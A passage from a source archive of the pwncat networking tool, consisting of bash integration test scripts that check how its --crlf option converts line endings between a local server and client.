"${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="$(tmp_file)" printf "abcdefghijklmnopqrstuvwxyz1234567890\\n" > "${data}" expect="abcdefghijklmnopqrstuvwxyz1234567890\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/4) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/4) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/4) Transfer: Client -> Server" # [CLIENT -> SERVER] wait_for_data_transferred "" "${expect}" "" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # TEST: Errors # -------------------------------------------------------------------------------- print_h2 "(4/4) Test: Errors" # [SERVER] Ensure Server has has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" kill_pid "${cli_pid}" kill -9 "${srv_pid}" >/dev/null 2>/dev/null || true } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do echo # server opts client opts run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "1" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "2" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "3" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -v " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "4" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "5" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvv " "6" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vv " "7" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -v " "8" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf " "9" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvv " "10" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vv " "11" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -v " "${RHOST} ${RPORT} --no-shutdown --crlf lf -v " "12" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf " "${RHOST} ${RPORT} --no-shutdown --crlf lf " "13" "13" "${curr_round}" "${RUNS}" done pwncat-0.1.2/tests/integration/21-options---crlf/301---tcp---server_crlf_lf---client_sends_cr.sh000077500000000000000000000150161414025024700316610ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="$(tmp_file)" printf "abcdefghijklmnopqrstuvwxyz1234567890\\r" > "${data}" expect="abcdefghijklmnopqrstuvwxyz1234567890\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/4) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/4) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/4) Transfer: Client -> Server" # [CLIENT -> SERVER] wait_for_data_transferred "" "${expect}" "" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # TEST: Errors # -------------------------------------------------------------------------------- print_h2 "(4/4) Test: Errors" # [SERVER] Ensure Server has has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" kill_pid "${cli_pid}" kill -9 "${srv_pid}" >/dev/null 2>/dev/null || true } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do echo # server opts client opts run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "1" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "2" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "3" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -v " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "4" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "5" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvv " "6" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vv " "7" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -v " "8" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf " "9" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvv " "10" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vv " "11" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -v " "${RHOST} ${RPORT} --no-shutdown --crlf lf -v " "12" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf " "${RHOST} ${RPORT} --no-shutdown --crlf lf " "13" "13" "${curr_round}" "${RUNS}" done pwncat-0.1.2/tests/integration/21-options---crlf/302---tcp---server_crlf_lf---client_sends_crlf.sh000077500000000000000000000150211414025024700322000ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="$(tmp_file)" printf "abcdefghijklmnopqrstuvwxyz1234567890\\r\\n" > "${data}" expect="abcdefghijklmnopqrstuvwxyz1234567890\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/4) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/4) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/4) Transfer: Client -> Server" # [CLIENT -> SERVER] wait_for_data_transferred "" "${expect}" "" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # TEST: Errors # -------------------------------------------------------------------------------- print_h2 "(4/4) Test: Errors" # [SERVER] Ensure Server has has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" kill_pid "${cli_pid}" kill -9 "${srv_pid}" >/dev/null 2>/dev/null || true } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do echo # server opts client opts run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "1" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "2" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "3" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -v " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "4" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "5" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvv " "6" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vv " "7" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -v " "8" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf " "9" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvv " "10" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vv " "11" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -v " "${RHOST} ${RPORT} --no-shutdown --crlf lf -v " "12" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf " "${RHOST} ${RPORT} --no-shutdown --crlf lf " "13" "13" "${curr_round}" "${RUNS}" done pwncat-0.1.2/tests/integration/21-options---crlf/400---tcp---client_crlf_cr---server_sends_lf.sh000077500000000000000000000150161414025024700316610ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="$(tmp_file)" printf "abcdefghijklmnopqrstuvwxyz1234567890\\n" > "${data}" expect="abcdefghijklmnopqrstuvwxyz1234567890\\r" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/4) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/4) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/4) Transfer: Server -> Client" # [SERVER -> Client] wait_for_data_transferred "" "${expect}" "" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # TEST: Errors # -------------------------------------------------------------------------------- print_h2 "(4/4) Test: Errors" # [SERVER] Ensure Server has has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" kill_pid "${cli_pid}" kill -9 "${srv_pid}" >/dev/null 2>/dev/null || true } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do echo # server opts client opts run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "1" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "2" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "3" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -v " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "4" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "5" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvv " "6" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -vv " "7" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -v " "8" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr " "9" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvv " "10" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vv " "11" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -v " "${RHOST} ${RPORT} --no-shutdown --crlf cr -v " "12" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr " "${RHOST} ${RPORT} --no-shutdown --crlf cr " "13" "13" "${curr_round}" "${RUNS}" done pwncat-0.1.2/tests/integration/21-options---crlf/401---tcp---client_crlf_cr---server_sends_cr.sh000077500000000000000000000150161414025024700316650ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="$(tmp_file)" printf "abcdefghijklmnopqrstuvwxyz1234567890\\r" > "${data}" expect="abcdefghijklmnopqrstuvwxyz1234567890\\r" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/4) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/4) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/4) Transfer: Server -> Client" # [SERVER -> Client] wait_for_data_transferred "" "${expect}" "" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # TEST: Errors # -------------------------------------------------------------------------------- print_h2 "(4/4) Test: Errors" # [SERVER] Ensure Server has has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" kill_pid "${cli_pid}" kill -9 "${srv_pid}" >/dev/null 2>/dev/null || true } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do echo # server opts client opts run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" 